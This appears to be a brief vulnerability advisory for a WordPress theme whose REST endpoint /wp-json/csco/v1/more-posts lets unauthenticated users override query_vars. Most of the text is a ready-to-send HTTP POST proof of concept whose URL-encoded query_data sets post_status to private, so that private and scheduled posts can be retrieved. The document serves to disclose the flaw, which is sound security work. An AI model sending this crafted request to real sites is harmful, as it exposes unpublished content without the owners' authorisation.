The theme allows unauthenticated users to manipulate the query_vars used to retrieve the posts to display in one of its REST endpoint, without any validation. As a result, private and scheduled posts could be retrieved via a crafted request.
POST /wp-json/csco/v1/more-posts
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 186
action=csco_ajax_load_more&page=1&posts_per_page=10&query_data=%7b%22location%22%3a%22%22%2c%22infinite_load%22%3afalse%2c%22query_vars%22%3a%7b%22post_status%22%3a%20%22private%22%7d%7d